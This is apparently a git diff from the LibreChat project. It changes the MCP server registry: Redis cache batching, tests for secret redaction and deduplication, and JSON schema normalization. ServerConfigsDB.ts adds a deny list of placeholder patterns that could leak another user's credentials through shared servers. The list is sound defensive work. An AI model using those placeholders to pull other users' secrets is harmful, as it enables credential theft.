a/packages/api/src/mcp/registry/__tests__/MCPServerInspector.test.ts b/packages/api/src/mcp/registry/__tests__/MCPServerInspector.test.ts index 72bf57857e..b79f2d044a 100644 --- a/packages/api/src/mcp/registry/__tests__/MCPServerInspector.test.ts +++ b/packages/api/src/mcp/registry/__tests__/MCPServerInspector.test.ts @@ -1,9 +1,9 @@ import type { MCPConnection } from '~/mcp/connection'; import type * as t from '~/mcp/types'; import { MCPServerInspector } from '~/mcp/registry/MCPServerInspector'; -import { detectOAuthRequirement } from '~/mcp/oauth'; -import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory'; import { createMockConnection } from './mcpConnectionsMock.helper'; +import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory'; +import { detectOAuthRequirement } from '~/mcp/oauth'; // Mock external dependencies jest.mock('../../oauth/detectOAuth'); @@ -276,6 +276,8 @@ describe('MCPServerInspector', () => { expect(MCPConnectionFactory.create).toHaveBeenCalledWith({ serverName: 'test_server', serverConfig: expect.objectContaining({ type: 'stdio', command: 'node' }), + useSSRFProtection: true, + dbSourced: false, }); // Verify temporary connection was disconnected diff --git a/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.cache_integration.spec.ts b/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.cache_integration.spec.ts index cb43cb68ce..12d2c9091f 100644 --- a/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.cache_integration.spec.ts +++ b/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.cache_integration.spec.ts @@ -303,9 +303,10 @@ describe('MCPServersInitializer Redis Integration Tests', () => { const searchToolsServer = await registry.getServerConfig('search_tools_server'); expect(searchToolsServer).toBeDefined(); - // Verify file_tools_server was not added (due to inspection failure) + // Verify file_tools_server was stored as a stub (for recovery via reinitialize) const fileToolsServer = await registry.getServerConfig('file_tools_server'); - expect(fileToolsServer).toBeUndefined(); + expect(fileToolsServer).toBeDefined(); + expect(fileToolsServer?.inspectionFailed).toBe(true); }); it('should set initialized status after completion', async () => { diff --git a/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.test.ts b/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.test.ts index 255ef20760..2998b47d0b 100644 --- a/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.test.ts +++ b/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.test.ts @@ -1,11 +1,11 @@ import { logger } from '@librechat/data-schemas'; import * as t from '~/mcp/types'; -import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory'; -import { MCPServersInitializer } from '~/mcp/registry/MCPServersInitializer'; -import { MCPConnection } from '~/mcp/connection'; import { registryStatusCache } from '~/mcp/registry/cache/RegistryStatusCache'; +import { MCPServersInitializer } from '~/mcp/registry/MCPServersInitializer'; import { MCPServerInspector } from '~/mcp/registry/MCPServerInspector'; import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry'; +import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory'; +import { MCPConnection } from '~/mcp/connection'; const FIXED_TIME = 1699564800000; const originalDateNow = Date.now; @@ -296,9 +296,10 @@ describe('MCPServersInitializer', () => { const searchToolsServer = await registry.getServerConfig('search_tools_server'); expect(searchToolsServer).toBeDefined(); - // Verify file_tools_server was not added (due to inspection failure) + // Verify file_tools_server was stored as a stub (for recovery via reinitialize) const fileToolsServer = await registry.getServerConfig('file_tools_server'); - expect(fileToolsServer).toBeUndefined(); + expect(fileToolsServer).toBeDefined(); + expect(fileToolsServer?.inspectionFailed).toBe(true); }); it('should log server configuration after initialization', async () => { diff --git a/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.cache_integration.spec.ts b/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.cache_integration.spec.ts index d20092c962..7752ff57d2 100644 --- a/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.cache_integration.spec.ts +++ b/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.cache_integration.spec.ts @@ -236,4 +236,106 @@ describe('MCPServersRegistry Redis Integration Tests', () => { expect(Object.keys(configsAfter)).toHaveLength(0); }); }); + + describe('single-flight deduplication', () => { + it('should deduplicate concurrent getAllServerConfigs calls', async () => { + await registry.addServer('server1', testRawConfig, 'CACHE'); + await registry.addServer('server2', testRawConfig, 'CACHE'); + await registry.addServer('server3', testRawConfig, 'CACHE'); + + await registry['readThroughCacheAll'].clear(); + + const cacheRepoGetAllSpy = jest.spyOn(registry['cacheConfigsRepo'], 'getAll'); + + const concurrentCalls = 10; + const promises = Array.from({ length: concurrentCalls }, () => + registry.getAllServerConfigs(), + ); + + const results = await Promise.all(promises); + + expect(cacheRepoGetAllSpy.mock.calls.length).toBe(1); + + for (const result of results) { + expect(Object.keys(result).length).toBe(3); + expect(result).toHaveProperty('server1'); + expect(result).toHaveProperty('server2'); + expect(result).toHaveProperty('server3'); + } + }); + + it('should handle different userIds independently', async () => { + await registry.addServer('shared_server', testRawConfig, 'CACHE'); + + await registry['readThroughCacheAll'].clear(); + + const cacheRepoGetAllSpy = jest.spyOn(registry['cacheConfigsRepo'], 'getAll'); + + const [result1, result2, result3] = await Promise.all([ + registry.getAllServerConfigs('user1'), + registry.getAllServerConfigs('user2'), + registry.getAllServerConfigs('user1'), + ]); + + expect(cacheRepoGetAllSpy.mock.calls.length).toBe(2); + + expect(Object.keys(result1)).toContain('shared_server'); + expect(Object.keys(result2)).toContain('shared_server'); + expect(Object.keys(result3)).toContain('shared_server'); + }); + + it('should complete concurrent requests without timeout', async () => { + for (let i = 0; i < 10; i++) { + await registry.addServer(`stress_server_${i}`, testRawConfig, 'CACHE'); + } + + await registry['readThroughCacheAll'].clear(); + + const concurrentCalls = 50; + const startTime = Date.now(); + + const promises = Array.from({ length: concurrentCalls }, () => + registry.getAllServerConfigs(), + ); + + const results = await Promise.all(promises); + const elapsed = Date.now() - startTime; + + expect(elapsed).toBeLessThan(10000); + + for (const result of results) { + expect(Object.keys(result).length).toBe(10); + } + }); + + it('should return consistent results across all concurrent callers', async () => { + await registry.addServer('consistency_server_a', testRawConfig, 'CACHE'); + await registry.addServer( + 'consistency_server_b', + { + ...testRawConfig, + command: 'python', + }, + 'CACHE', + ); + + await registry['readThroughCacheAll'].clear(); + + const results = await Promise.all([ + registry.getAllServerConfigs(), + registry.getAllServerConfigs(), + registry.getAllServerConfigs(), + registry.getAllServerConfigs(), + registry.getAllServerConfigs(), + ]); + + const firstResult = results[0]; + for (const result of results) { + expect(Object.keys(result).sort()).toEqual(Object.keys(firstResult).sort()); + for (const key of Object.keys(firstResult)) { + expect(result[key]).toMatchObject(firstResult[key]); + } + } + }); + }); }); diff --git a/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.test.ts b/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.test.ts index cc86f0e140..8891120717 100644 --- a/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.test.ts +++ b/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.test.ts @@ -1,4 +1,4 @@ -import * as t from '~/mcp/types'; +import type * as t from '~/mcp/types'; import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry'; import { MCPServerInspector } from '~/mcp/registry/MCPServerInspector'; @@ -193,6 +193,22 @@ describe('MCPServersRegistry', () => { }); }); + describe('reinspectServer', () => { + it('should throw when called on a healthy (non-stub) server', async () => { + await registry.addServer('healthy_server', testParsedConfig, 'CACHE'); + + await expect(registry.reinspectServer('healthy_server', 'CACHE')).rejects.toThrow( + 'is not in a failed state', + ); + }); + + it('should throw when the server does not exist', async () => { + await expect(registry.reinspectServer('ghost_server', 'CACHE')).rejects.toThrow( + 'not found in CACHE', + ); + }); + }); + describe('Read-through cache', () => { describe('getServerConfig', () => { it('should cache repeated calls for the same server', async () => { diff --git a/packages/api/src/mcp/registry/__tests__/ServerConfigsDB.test.ts b/packages/api/src/mcp/registry/__tests__/ServerConfigsDB.test.ts index 1c755ae0f0..38ed51cd99 100644 --- a/packages/api/src/mcp/registry/__tests__/ServerConfigsDB.test.ts +++ b/packages/api/src/mcp/registry/__tests__/ServerConfigsDB.test.ts @@ -1456,4 +1456,102 @@ describe('ServerConfigsDB', () => { expect(retrieved?.apiKey?.key).toBeUndefined(); }); }); + + describe('DB layer returns decrypted secrets (redaction is at controller layer)', () => { + it('should return decrypted apiKey.key to VIEW-only user via get()', async () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://example.com/mcp', + title: 'Secret API Key Server', + apiKey: { + source: 'admin', + authorization_type: 'bearer', + key: 'admin-secret-api-key', + }, + }; + const created = await serverConfigsDB.add('temp-name', config, userId); + + const role = await mongoose.models.AccessRole.findOne({ + accessRoleId: AccessRoleIds.MCPSERVER_VIEWER, + }); + await mongoose.models.AclEntry.create({ + principalType: PrincipalType.USER, + principalModel: PrincipalModel.USER, + principalId: new mongoose.Types.ObjectId(userId2), + resourceType: ResourceType.MCPSERVER, + resourceId: new mongoose.Types.ObjectId(created.config.dbId!), + permBits: PermissionBits.VIEW, + roleId: role!._id, + grantedBy: new mongoose.Types.ObjectId(userId), + }); + + const result = await serverConfigsDB.get(created.serverName, userId2); + expect(result).toBeDefined(); + expect(result?.apiKey?.key).toBe('admin-secret-api-key'); + }); + + it('should return decrypted oauth.client_secret to VIEW-only user via get()', async () => { + const config = createSSEConfig('Secret OAuth Server', 'Test', { + client_id: 'my-client-id', + client_secret: 'admin-oauth-secret', + }); + const created = await serverConfigsDB.add('temp-name', config, userId); + + const role = await mongoose.models.AccessRole.findOne({ + accessRoleId: AccessRoleIds.MCPSERVER_VIEWER, + }); + await mongoose.models.AclEntry.create({ + principalType: PrincipalType.USER, + principalModel: PrincipalModel.USER, + principalId: new mongoose.Types.ObjectId(userId2), + resourceType: ResourceType.MCPSERVER, + resourceId: new mongoose.Types.ObjectId(created.config.dbId!), + permBits: PermissionBits.VIEW, + roleId: role!._id, + grantedBy: new mongoose.Types.ObjectId(userId), + }); + + const result = await serverConfigsDB.get(created.serverName, userId2); + expect(result).toBeDefined(); + expect(result?.oauth?.client_secret).toBe('admin-oauth-secret'); + }); + + it('should return decrypted secrets to VIEW-only user via getAll()', async () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://example.com/mcp', + title: 'Shared Secret Server', + apiKey: { + source: 'admin', + authorization_type: 'bearer', + key: 'shared-api-key', + }, + oauth: { + client_id: 'shared-client', + client_secret: 'shared-oauth-secret', + }, + }; + const created = await serverConfigsDB.add('temp-name', config, userId); + + const role = await mongoose.models.AccessRole.findOne({ + accessRoleId: AccessRoleIds.MCPSERVER_VIEWER, + }); + await mongoose.models.AclEntry.create({ + principalType: PrincipalType.USER, + principalModel: PrincipalModel.USER, + principalId: new mongoose.Types.ObjectId(userId2), + resourceType: ResourceType.MCPSERVER, + resourceId: new mongoose.Types.ObjectId(created.config.dbId!), + permBits: PermissionBits.VIEW, + roleId: role!._id, + grantedBy: new mongoose.Types.ObjectId(userId), + }); + + const result = await serverConfigsDB.getAll(userId2); + const serverConfig = result[created.serverName]; + expect(serverConfig).toBeDefined(); + expect(serverConfig?.apiKey?.key).toBe('shared-api-key'); + expect(serverConfig?.oauth?.client_secret).toBe('shared-oauth-secret'); + }); + }); }); diff --git a/packages/api/src/mcp/registry/cache/ServerConfigsCacheRedis.ts b/packages/api/src/mcp/registry/cache/ServerConfigsCacheRedis.ts index 4532afa251..d3154baf73 100644 --- a/packages/api/src/mcp/registry/cache/ServerConfigsCacheRedis.ts +++ b/packages/api/src/mcp/registry/cache/ServerConfigsCacheRedis.ts @@ -1,9 +1,10 @@ import type Keyv from 'keyv'; import { fromPairs } from 'lodash'; +import { logger } from '@librechat/data-schemas'; +import type { IServerConfigsRepositoryInterface } from '~/mcp/registry/ServerConfigsRepositoryInterface'; +import type { ParsedServerConfig, AddServerResult } from '~/mcp/types'; import { standardCache, keyvRedisClient } from '~/cache'; -import { ParsedServerConfig, AddServerResult } from '~/mcp/types'; import { BaseRegistryCache } from './BaseRegistryCache'; -import { IServerConfigsRepositoryInterface } from '../ServerConfigsRepositoryInterface'; /** * Redis-backed implementation of MCP server configurations cache for distributed deployments. @@ -12,6 +13,8 @@ import { IServerConfigsRepositoryInterface } from '../ServerConfigsRepositoryInt * Supports optional leader-only write operations to prevent race conditions during initialization. * Data persists across server restarts and is accessible from any instance in the cluster. */ +const BATCH_SIZE = 100; + export class ServerConfigsCacheRedis extends BaseRegistryCache implements IServerConfigsRepositoryInterface @@ -60,27 +63,50 @@ export class ServerConfigsCacheRedis } public async getAll(): Promise> { - // Use Redis SCAN iterator directly (non-blocking, production-ready) - // Note: Keyv uses a single colon ':' between namespace and key, even if GLOBAL_PREFIX_SEPARATOR is '::' - const pattern = `*${this.cache.namespace}:*`; - const entries: Array<[string, ParsedServerConfig]> = []; - - // Use scanIterator from Redis client - if (keyvRedisClient && 'scanIterator' in keyvRedisClient) { - for await (const key of keyvRedisClient.scanIterator({ MATCH: pattern })) { - // Extract the actual key name (last part after final colon) - // Full key format: "prefix::namespace:keyName" - const lastColonIndex = key.lastIndexOf(':'); - const keyName = key.substring(lastColonIndex + 1); - const config = (await this.cache.get(keyName)) as ParsedServerConfig | undefined; - if (config) { - entries.push([keyName, config]); - } - } - } else { + if (!keyvRedisClient || !('scanIterator' in keyvRedisClient)) { throw new Error('Redis client with scanIterator not available.'); } + const startTime = Date.now(); + const pattern = `*${this.cache.namespace}:*`; + + const keys: string[] = []; + for await (const key of keyvRedisClient.scanIterator({ MATCH: pattern })) { + keys.push(key); + } + + if (keys.length === 0) { + logger.debug(`[ServerConfigsCacheRedis] getAll(${this.namespace}): no keys found`); + return {}; + } + + /** Extract keyName from full Redis key format: "prefix::namespace:keyName" */ + const keyNames = keys.map((key) => key.substring(key.lastIndexOf(':') + 1)); + + const entries: Array<[string, ParsedServerConfig]> = []; + + for (let i = 0; i < keyNames.length; i += BATCH_SIZE) { + const batchEnd = Math.min(i + BATCH_SIZE, keyNames.length); + const promises: Promise[] = []; + + for (let j = i; j < batchEnd; j++) { + promises.push(this.cache.get(keyNames[j])); + } + + const configs = await Promise.all(promises); + + for (let j = 0; j < configs.length; j++) { + if (configs[j]) { + entries.push([keyNames[i + j], configs[j]!]); + } + } + } + + const elapsed = Date.now() - startTime; + logger.debug( + `[ServerConfigsCacheRedis] getAll(${this.namespace}): fetched ${entries.length} configs in ${elapsed}ms`, + ); + return fromPairs(entries); } } diff --git a/packages/api/src/mcp/registry/cache/__tests__/ServerConfigsCacheRedis.cache_integration.spec.ts b/packages/api/src/mcp/registry/cache/__tests__/ServerConfigsCacheRedis.cache_integration.spec.ts index d5a7540296..4e563ab4aa 100644 --- a/packages/api/src/mcp/registry/cache/__tests__/ServerConfigsCacheRedis.cache_integration.spec.ts +++ b/packages/api/src/mcp/registry/cache/__tests__/ServerConfigsCacheRedis.cache_integration.spec.ts @@ -7,25 +7,25 @@ describe('ServerConfigsCacheRedis Integration Tests', () => { let cache: InstanceType; - // Test data - const mockConfig1: ParsedServerConfig = { + const mockConfig1 = { + type: 'stdio', command: 'node', args: ['server1.js'], env: { TEST: 'value1' }, - }; + } as ParsedServerConfig; - const mockConfig2: ParsedServerConfig = { + const mockConfig2 = { + type: 'stdio', command: 'python', args: ['server2.py'], env: { TEST: 'value2' }, - }; + } as ParsedServerConfig; - const mockConfig3: ParsedServerConfig = { - command: 'node', - args: ['server3.js'], + const mockConfig3 = { + type: 'sse', url: 'http://localhost:3000', requiresOAuth: true, - }; + } as ParsedServerConfig; beforeAll(async () => { // Set up environment variables for Redis (only if not already set) @@ -52,9 +52,8 @@ describe('ServerConfigsCacheRedis Integration Tests', () => { }); beforeEach(() => { - // Create a fresh instance for each test with leaderOnly=true jest.resetModules(); - cache = new ServerConfigsCacheRedis('test-user', 'Shared', false); + cache = new ServerConfigsCacheRedis('test-user', false); }); afterEach(async () => { @@ -114,8 +113,8 @@ describe('ServerConfigsCacheRedis Integration Tests', () => { }); it('should isolate caches by owner namespace', async () => { - const userCache = new ServerConfigsCacheRedis('user1', 'Private', false); - const globalCache = new ServerConfigsCacheRedis('global', 'Shared', false); + const userCache = new ServerConfigsCacheRedis('user1-private', false); + const globalCache = new ServerConfigsCacheRedis('global-shared', false); await userCache.add('server1', mockConfig1); await globalCache.add('server1', mockConfig2); @@ -161,8 +160,8 @@ describe('ServerConfigsCacheRedis Integration Tests', () => { }); it('should only return configs for the specific owner', async () => { - const userCache = new ServerConfigsCacheRedis('user1', 'Private', false); - const globalCache = new ServerConfigsCacheRedis('global', 'Private', false); + const userCache = new ServerConfigsCacheRedis('user1-owner', false); + const globalCache = new ServerConfigsCacheRedis('global-owner', false); await userCache.add('server1', mockConfig1); await userCache.add('server2', mockConfig2); @@ -206,8 +205,8 @@ describe('ServerConfigsCacheRedis Integration Tests', () => { }); it('should only update in the specific owner namespace', async () => { - const userCache = new ServerConfigsCacheRedis('user1', 'Private', false); - const globalCache = new ServerConfigsCacheRedis('global', 'Shared', false); + const userCache = new ServerConfigsCacheRedis('user1-update', false); + const globalCache = new ServerConfigsCacheRedis('global-update', false); await userCache.add('server1', mockConfig1); await globalCache.add('server1', mockConfig2); @@ -258,8 +257,8 @@ describe('ServerConfigsCacheRedis Integration Tests', () => { }); it('should only remove from the specific owner namespace', async () => { - const userCache = new ServerConfigsCacheRedis('user1', 'Private', false); - const globalCache = new ServerConfigsCacheRedis('global', 'Shared', false); + const userCache = new ServerConfigsCacheRedis('user1-remove', false); + const globalCache = new ServerConfigsCacheRedis('global-remove', false); await userCache.add('server1', mockConfig1); await globalCache.add('server1', mockConfig2); @@ -270,4 +269,125 @@ describe('ServerConfigsCacheRedis Integration Tests', () => { expect(await globalCache.get('server1')).toMatchObject(mockConfig2); }); }); + + describe('getAll parallel fetching', () => { + it('should handle many configs efficiently with parallel fetching', async () => { + const testCache = new ServerConfigsCacheRedis('parallel-test', false); + const configCount = 20; + + for (let i = 0; i < configCount; i++) { + await testCache.add(`server-${i}`, { + type: 'stdio', + command: `cmd-${i}`, + args: [`arg-${i}`], + } as ParsedServerConfig); + } + + const startTime = Date.now(); + const result = await testCache.getAll(); + const elapsed = Date.now() - startTime; + + expect(Object.keys(result).length).toBe(configCount); + for (let i = 0; i < configCount; i++) { + expect(result[`server-${i}`]).toBeDefined(); + const config = result[`server-${i}`] as { command?: string }; + expect(config.command).toBe(`cmd-${i}`); + } + + expect(elapsed).toBeLessThan(5000); + }); + + it('should handle concurrent getAll calls without timeout', async () => { + const testCache = new ServerConfigsCacheRedis('concurrent-test', false); + + for (let i = 0; i < 10; i++) { + await testCache.add(`server-${i}`, { + type: 'stdio', + command: `cmd-${i}`, + args: [`arg-${i}`], + } as ParsedServerConfig); + } + + const concurrentCalls = 50; + const startTime = Date.now(); + const promises = Array.from({ length: concurrentCalls }, () => testCache.getAll()); + + const results = await Promise.all(promises); + const elapsed = Date.now() - startTime; + + for (const result of results) { + expect(Object.keys(result).length).toBe(10); + } + + expect(elapsed).toBeLessThan(10000); + }); + + it('should return consistent results across concurrent calls', async () => { + const testCache = new ServerConfigsCacheRedis('consistency-test', false); + + await testCache.add('server-a', mockConfig1); + await testCache.add('server-b', mockConfig2); + await testCache.add('server-c', mockConfig3); + + const results = await Promise.all([ + testCache.getAll(), + testCache.getAll(), + testCache.getAll(), + testCache.getAll(), + testCache.getAll(), + ]); + + const firstResult = results[0]; + for (const result of results) { + expect(Object.keys(result).sort()).toEqual(Object.keys(firstResult).sort()); + expect(result['server-a']).toMatchObject(mockConfig1); + expect(result['server-b']).toMatchObject(mockConfig2); + expect(result['server-c']).toMatchObject(mockConfig3); + } + }); + + /** + * Performance regression test for N+1 Redis fix. + * + * Before fix: getAll() used sequential GET calls inside an async loop: + * for await (key of scan) { await cache.get(key); } // N sequential calls + * + * With 30 configs and 100 concurrent requests, this would cause: + * - 100 × 30 = 3000 sequential Redis roundtrips + * - Under load, requests would queue and timeout at 60s + * + * After fix: getAll() uses Promise.all for parallel fetching: + * Promise.all(keys.map(k => cache.get(k))); // N parallel calls + * + * This test validates the fix by ensuring 100 concurrent requests + * complete in under 5 seconds - impossible with the old N+1 pattern. + */ + it('should complete 100 concurrent requests in under 5s (regression test for N+1 fix)', async () => { + const testCache = new ServerConfigsCacheRedis('perf-regression-test', false); + const configCount = 30; + + for (let i = 0; i < configCount; i++) { + await testCache.add(`server-${i}`, { + type: 'stdio', + command: `cmd-${i}`, + args: [`arg-${i}`], + } as ParsedServerConfig); + } + + const concurrentRequests = 100; + const maxAllowedMs = 5000; + + const startTime = Date.now(); + const promises = Array.from({ length: concurrentRequests }, () => testCache.getAll()); + const results = await Promise.all(promises); + const elapsed = Date.now() - startTime; + + expect(results.length).toBe(concurrentRequests); + for (const result of results) { + expect(Object.keys(result).length).toBe(configCount); + } + + expect(elapsed).toBeLessThan(maxAllowedMs); + }); + }); }); diff --git a/packages/api/src/mcp/registry/db/ServerConfigsDB.ts b/packages/api/src/mcp/registry/db/ServerConfigsDB.ts index f6f6d90858..50db81b831 100644 --- a/packages/api/src/mcp/registry/db/ServerConfigsDB.ts +++ b/packages/api/src/mcp/registry/db/ServerConfigsDB.ts @@ -12,15 +12,18 @@ import type { ParsedServerConfig, AddServerResult } from '~/mcp/types'; import { AccessControlService } from '~/acl/accessControlService'; /** - * Regex patterns for credential placeholders that should not be allowed in user-provided headers. - * These placeholders would substitute the CALLING user's credentials, creating a security risk - * when MCP servers are shared between users (credential exfiltration). + * Regex patterns for credential/env placeholders that should not be allowed in user-provided configs. + * These would substitute server credentials or the CALLING user's data, creating exfiltration risks + * when MCP servers are shared between users. * * Safe placeholders like {{MCP_API_KEY}} are allowed as they resolve from the user's own plugin auth. */ const DANGEROUS_CREDENTIAL_PATTERNS = [ + /\$\{[^}]+\}/g, /\{\{LIBRECHAT_OPENID_[^}]+\}\}/g, /\{\{LIBRECHAT_USER_[^}]+\}\}/g, + /\{\{LIBRECHAT_GRAPH_[^}]+\}\}/g, + /\{\{LIBRECHAT_BODY_[^}]+\}\}/g, ]; /** @@ -457,7 +460,7 @@ export class ServerConfigsDB implements IServerConfigsRepositoryInterface { }; // Remove key field since it's user-provided (destructure to omit, not set to undefined) - // eslint-disable-next-line @typescript-eslint/no-unused-vars + const { key: _removed, ...apiKeyWithoutKey } = result.apiKey!; result.apiKey = apiKeyWithoutKey; @@ -521,7 +524,7 @@ export class ServerConfigsDB implements IServerConfigsRepositoryInterface { '[ServerConfigsDB.decryptConfig] Failed to decrypt apiKey.key, returning config without key', error, ); - // eslint-disable-next-line @typescript-eslint/no-unused-vars + const { key: _removedKey, ...apiKeyWithoutKey } = result.apiKey; result.apiKey = apiKeyWithoutKey; } @@ -542,7 +545,7 @@ export class ServerConfigsDB implements IServerConfigsRepositoryInterface { '[ServerConfigsDB.decryptConfig] Failed to decrypt client_secret, returning config without secret', error, ); - // eslint-disable-next-line @typescript-eslint/no-unused-vars + const { client_secret: _removed, ...oauthWithoutSecret } = oauthConfig; result = { ...result, diff --git a/packages/api/src/mcp/types/index.ts b/packages/api/src/mcp/types/index.ts index 63a0153cad..bbdabb4428 100644 --- a/packages/api/src/mcp/types/index.ts +++ b/packages/api/src/mcp/types/index.ts @@ -17,7 +17,8 @@ import type { Tool, } from '@modelcontextprotocol/sdk/types.js'; import type { SearchResultData, UIResource, TPlugin } from 'librechat-data-provider'; -import type { TokenMethods, JsonSchemaType, IUser } from '@librechat/data-schemas'; +import type { TokenMethods, IUser } from '@librechat/data-schemas'; +import type { LCTool } from '@librechat/agents'; import type { FlowStateManager } from '~/flow/manager'; import type { RequestBody } from '~/types/http'; import type * as o from '~/mcp/oauth/types'; @@ -42,11 +43,6 @@ export interface MCPResource { description?: string; mimeType?: string; } -export interface LCTool { - name: string; - description?: string; - parameters: JsonSchemaType; -} export interface LCFunctionTool { type: 'function'; @@ -160,6 +156,8 @@ export type ParsedServerConfig = MCPOptions & { dbId?: string; /** True if access is only via agent (not directly shared with user) */ consumeOnly?: boolean; + /** True when inspection failed at startup; the server is known but not fully initialized */ + inspectionFailed?: boolean; }; export type AddServerResult = { @@ -170,10 +168,13 @@ export type AddServerResult = { export interface BasicConnectionOptions { serverName: string; serverConfig: MCPOptions; + useSSRFProtection?: boolean; + /** When true, only resolve customUserVars in processMCPEnv (for DB-stored servers) */ + dbSourced?: boolean; } export interface OAuthConnectionOptions { - user: IUser; + user?: IUser; useOAuth: true; requestBody?: RequestBody; customUserVars?: Record; @@ -185,3 +186,21 @@ export interface OAuthConnectionOptions { returnOnOAuth?: boolean; connectionTimeout?: number; } + +export interface ToolDiscoveryOptions { + serverName: string; + user?: IUser; + flowManager?: FlowStateManager; + tokenMethods?: TokenMethods; + signal?: AbortSignal; + oauthStart?: (authURL: string) => Promise; + customUserVars?: Record; + requestBody?: RequestBody; + connectionTimeout?: number; +} + +export interface ToolDiscoveryResult { + tools: Tool[] | null; + oauthRequired: boolean; + oauthUrl: string | null; +} diff --git a/packages/api/src/mcp/utils.ts b/packages/api/src/mcp/utils.ts index fddebb9db3..c517388a76 100644 --- a/packages/api/src/mcp/utils.ts +++ b/packages/api/src/mcp/utils.ts @@ -1,6 +1,66 @@ import { Constants } from 'librechat-data-provider'; +import type { ParsedServerConfig } from '~/mcp/types'; export const mcpToolPattern = new RegExp(`^.+${Constants.mcp_delimiter}.+$`); + +/** + * Allowlist-based sanitization for API responses. Only explicitly listed fields are included; + * new fields added to ParsedServerConfig are excluded by default until allowlisted here. + * + * URLs are returned as-is: DB-stored configs reject ${VAR} patterns at validation time + * (MCPServerUserInputSchema), and YAML configs are admin-managed. Env variable resolution + * is handled at the schema/input boundary, not the output boundary. + */ +export function redactServerSecrets(config: ParsedServerConfig): Partial { + const safe: Partial = { + type: config.type, + url: config.url, + title: config.title, + description: config.description, + iconPath: config.iconPath, + chatMenu: config.chatMenu, + requiresOAuth: config.requiresOAuth, + capabilities: config.capabilities, + tools: config.tools, + toolFunctions: config.toolFunctions, + initDuration: config.initDuration, + updatedAt: config.updatedAt, + dbId: config.dbId, + consumeOnly: config.consumeOnly, + inspectionFailed: config.inspectionFailed, + customUserVars: config.customUserVars, + serverInstructions: config.serverInstructions, + }; + + if (config.apiKey) { + safe.apiKey = { + source: config.apiKey.source, + authorization_type: config.apiKey.authorization_type, + ...(config.apiKey.custom_header && { custom_header: config.apiKey.custom_header }), + }; + } + + if (config.oauth) { + const { client_secret: _secret, ...safeOAuth } = config.oauth; + safe.oauth = safeOAuth; + } + + return Object.fromEntries( + Object.entries(safe).filter(([, v]) => v !== undefined), + ) as Partial; +} + +/** Applies allowlist-based sanitization to a map of server configs. */ +export function redactAllServerSecrets( + configs: Record, +): Record> { + const result: Record> = {}; + for (const [key, config] of Object.entries(configs)) { + result[key] = redactServerSecrets(config); + } + return result; +} + /** * Normalizes a server name to match the pattern ^[a-zA-Z0-9_.-]+$ * This is required for Azure OpenAI models with Tool Calling diff --git a/packages/api/src/mcp/zod.ts b/packages/api/src/mcp/zod.ts index ea9d17c0b2..53cb6e71a8 100644 --- a/packages/api/src/mcp/zod.ts +++ b/packages/api/src/mcp/zod.ts @@ -203,9 +203,9 @@ export function resolveJsonSchemaRefs>( const result: Record = {}; for (const [key, value] of Object.entries(schema)) { - // Skip $defs/definitions at root level to avoid infinite recursion - if ((key === '$defs' || key === 'definitions') && !visited.size) { - result[key] = value; + // Skip $defs/definitions — they are only used for resolving $ref and + // should not appear in the resolved output (e.g. Google/Gemini API rejects them). + if (key === '$defs' || key === 'definitions') { continue; } @@ -248,6 +248,89 @@ export function resolveJsonSchemaRefs>( return result as T; } +/** + * Recursively normalizes a JSON schema for LLM API compatibility. + * + * Transformations applied: + * - Converts `const` values to `enum` arrays (Gemini/Vertex AI rejects `const`) + * - Strips vendor extension fields (`x-*` prefixed keys, e.g. `x-google-enum-descriptions`) + * - Strips leftover `$defs`/`definitions` blocks that may survive ref resolution + * + * @param schema - The JSON schema to normalize + * @returns The normalized schema + */ +export function normalizeJsonSchema>(schema: T): T { + if (!schema || typeof schema !== 'object') { + return schema; + } + + if (Array.isArray(schema)) { + return schema.map((item) => + item && typeof item === 'object' ? normalizeJsonSchema(item) : item, + ) as unknown as T; + } + + const result: Record = {}; + + for (const [key, value] of Object.entries(schema)) { + // Strip vendor extension fields (e.g. x-google-enum-descriptions) — + // these are valid in JSON Schema but rejected by Google/Gemini API. + if (key.startsWith('x-')) { + continue; + } + + // Strip leftover $defs/definitions (should already be resolved by resolveJsonSchemaRefs, + // but strip as a safety net for schemas that bypass ref resolution). + if (key === '$defs' || key === 'definitions') { + continue; + } + + if (key === 'const' && !('enum' in schema)) { + result['enum'] = [value]; + continue; + } + + if (key === 'const' && 'enum' in schema) { + // Skip `const` when `enum` already exists + continue; + } + + if (key === 'properties' && value && typeof value === 'object' && !Array.isArray(value)) { + const newProps: Record = {}; + for (const [propKey, propValue] of Object.entries(value as Record)) { + newProps[propKey] = + propValue && typeof propValue === 'object' + ? normalizeJsonSchema(propValue as Record) + : propValue; + } + result[key] = newProps; + } else if ( + (key === 'items' || key === 'additionalProperties') && + value && + typeof value === 'object' + ) { + result[key] = normalizeJsonSchema(value as Record); + } else if ((key === 'oneOf' || key === 'anyOf' || key === 'allOf') && Array.isArray(value)) { + result[key] = value.map((item) => + item && typeof item === 'object' ? normalizeJsonSchema(item) : item, + ); + } else { + result[key] = value; + } + } + + return result as T; +} + +/** + * Converts a JSON Schema to a Zod schema. + * + * @deprecated This function is deprecated in favor of using JSON schemas directly. + * LangChain.js now supports JSON schemas natively, eliminating the need for Zod conversion. + * Use `resolveJsonSchemaRefs` to handle $ref references and pass the JSON schema directly to tools. + * + * @see https://js.langchain.com/docs/how_to/custom_tools/ + */ export function convertJsonSchemaToZod( schema: JsonSchemaType & Record, options: 